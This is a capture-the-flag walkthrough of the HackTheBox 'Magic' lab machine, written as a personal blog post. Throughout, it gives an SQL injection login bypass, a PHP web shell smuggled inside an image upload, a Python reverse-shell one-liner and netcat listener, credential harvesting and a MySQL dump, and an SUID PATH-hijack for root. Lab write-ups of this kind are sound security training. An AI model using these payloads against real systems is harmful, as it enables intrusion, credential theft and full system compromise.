Magic HackTheBox Walkthrough

Magic hackthebox machine walkthrough

This is Magic HackTheBox machine walkthrough. In this writeup I have demonstrated step by step procedure how I got rooted to the this HTB machine. Magic HTB machine is a Linux machine, given security level medium by its maker. And has been assigned IP address Now I am going to show you my steps. First of all, connect your local machine with VPN and confirm its connectivity by pinging the IP address

As usual, I began by scanning the IP address so that I could get some starting point. Nmap [a port scanner] gave the following result


$ nmap -sV -sC -oA scan

Magic HackTheBox nmap scan during walkthrough

Nmap revealed that port 22 and 80 is open. OpenSSH 7.6p1 is running on port 22 and Apache2 web server is running on port 80. After going to URL found login page. Tried to login with default creds like admin: admin & admin: password but nothing worked.

Login Screen Bypass

Just tried some SQL login screen bypass payloads in the login form. Hoo la, successfully bypassed the login screen and logged in without Login ID and Password. SQL injection payload is

Username: ' OR 1=1 --

Password: ' OR 1=1 --

After login, redirected to upload.php page.

SQL injection login screen bypass in magic hackthebox walkthrough

Tried to upload an image file and successfully uploaded it. The uploaded image can be accessed at URL So tried to upload a file with extension php but got error Sorry, only JPG, JPEG & PNG files are allowed. This may be due to image file extension check or signature check in image content.

PHP Shell Upload

To bypass this restriction I uploaded an image file with the extension png. And before uploading intercepted the request in Burp Suite. Removed all the image payloads except first two lines [to maintain its signature remains present]. And entered our custom php command execution payload after second line, as shown below.

<?php echo system($_GET['cmd'])>

Also, changed the filename from fb.png to fb.php.png because we want to execute out payload as php document. And send the request. Now our shell is uploaded and can be accessed at the URL

Image payload modification to inject custom php payload

To get clear result switched to view-source page of the URL and appended ?cmd= to the URL. So final URL to execute command becomes view-source: cmd=OS_command_here.

Checking Command Injection

Once we have uploaded a shell our next step should be to confirm command execution by running some commands. Used id command to confirm command execution. Successfully executed the command.


Id command execution to check OSCE in magic hackthebox walkthrough
?cmd=cat /etc/passwd
Listing content of /etc/passwd file during magic htb walkthrough

After confirmation my next step is to get a shell using some, one liner shell code. I am using python one liner.

'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((""1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

You can get more reverse shell one liner from here. Changed the ip address in python one liner with my IP and started netcat listener on port 1234

$ nc -nvlp 1234

And then executed the below command in URL.

Getting Remote Shell

?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((""1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'
Executing python one liner to get remote shell

Successfully got a shell.

Getting user shell in magic htb

Upgrade the Shell to fully qualified Linux shell

Upgrading the Shell

$ python3 -c ‘import pty;pty.spawn("/bin/bash")’

$ CTRT + Z # to background the shell

$ stty raw -echo

$ fg

Plus press two times enter to foreground the shell

$ export TERM=xterm-256color

Updrading the shell to fully qualified linux shell in magic htb walkthrough

Magic machine has one user theseus inside /home/ directory. After some enumeration got a file db.php5 inside /var/www/Magic/ directory. It contains database credentials.

dbName: Magic

dbHost : Localhost

dbUserName : theseus

dbUserPassword : iamkingtheseus

Listing the content of db.php5 file in magic htb

Tried to switch to theseus using $su theseus with password iamkingtheseus but, failed.

Checking Listening Ports

Ran command $netstat -punta to check whether any service is running locally which was not listed by nmap.

Checking listening services on different port locally

Got that port 3306 is listening. There may a SQL server running over this port. To confirm the service, checked the running process by $ps aux | grep sql which show that mysqld demon is running. Tried to use command $mysql to dump database content but, no mysql command found. No idea how to list database content locally on same server. If it would be GUI application then I would use phpmyadmin or similar tools.

So googled how to dump mysql database content locally using Terminal and got this official documentation from MySQL.

Checking SQL process using ps command in Magic HackTheBox Machine

Dumping Dbase Content

To dump database content used tool mysqldump.

$ mysqldump -utheseus -piamkingtheseus --all-databases

Dumping all databases content using mysqldump command

Credential extracted from all databases is theseus: Th3s3usW4sK1ng

Switched the user to theseus with the credential theseus: Th3s3usW4sK1ng

$ su theseus

Password: Th3s3usW4sK1ng

Switching to user theseus using credential in Magic Htb

Capture User Flag

$ cd ~

$ cat user.txt

Magic Machine user flag found during Magic HackTheBox walkthrough

Privilege Escalation

Finding PrivEsc Vector a post exploitation enumeration script revealed that sysinfo a custom SUID binary, can be modified to escalate privilege. So here, our privilege escalation vector may be SUID binary exploitation.  found custom SUID binary privilege escalation vector

Let’s know something about sysinfo command. When sysinfo command is executed it calls four other commands to print h/w info, disk info, CPU info and memory usage info. Among these command $fdisk command requires root privilege to get executed. Since sysinfo is a custom SUID binary owned by root so, whenever it is executed by theseus, theseus is given root privilege to execute this command.

  • lshw -short [Show h/w info]
  • fdisk -l [Shows disk info and require root privilege to run]
  • cat /proc/cpuinfo [Print CPU info]
  • free -h [Print Memory Usage info]

I have executed these commands locally with local user to confirm which command requires root privilege to run.

Executing sysinfo seperate command locally to check their privilege

Also on magic machine $fdisk -l gave me permission denied.

Executing fdisk command on magic hackthebox machine to check it's privilege

For more info about Privilege Escalation using SUID Binary check this interesting article.

Exploit SUID Binary

To exploit this SUID binary I did the following

1. Created a file named fdisk having content of our python reverse shell

Listing content of custom fdisk file

2. Started python HTTP server locally

$ python3 -m http.server 80

3. Transferred this file to magic htb machine

$ wget

Downloading fdisk file locally on Magic HTB machine

4. Changed the permission to 755

$ chmod 755 fdisk

5. Added /tmp/ directory to path variable

$ export PATH=/tmp:$PATH

6. Started netcat listener on our machine locally.

$nc -nvlp 2345

7. Finally, executed $/bin/sysinfo command.

$ sysinfo

And we are root now.

Privilege Escalation in Magic HackTheBox machine during walkthrough

Capture Root Flag

$ cd /root/

$ cat root.txt

Root flag of Magic Hackthebox Machine

Learnt a lot after hunting this HackTheBox machine. Hope you guys have also learnt something new from this walkthrough. Having any issue let me know in the comment section. For any suggestion feel free to write us at [email protected].

Read more Linux HackTheBox Machine Walkthrough at

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Deepak Kumar Maurya

Hi everyone, I am Deepak Kumar Maurya, creator of I am InfoSec Consultant in day and Bug Bounty Hunter & CTF player at night. Sometimes write walkthrough and other cyber security articles here. You can connect me at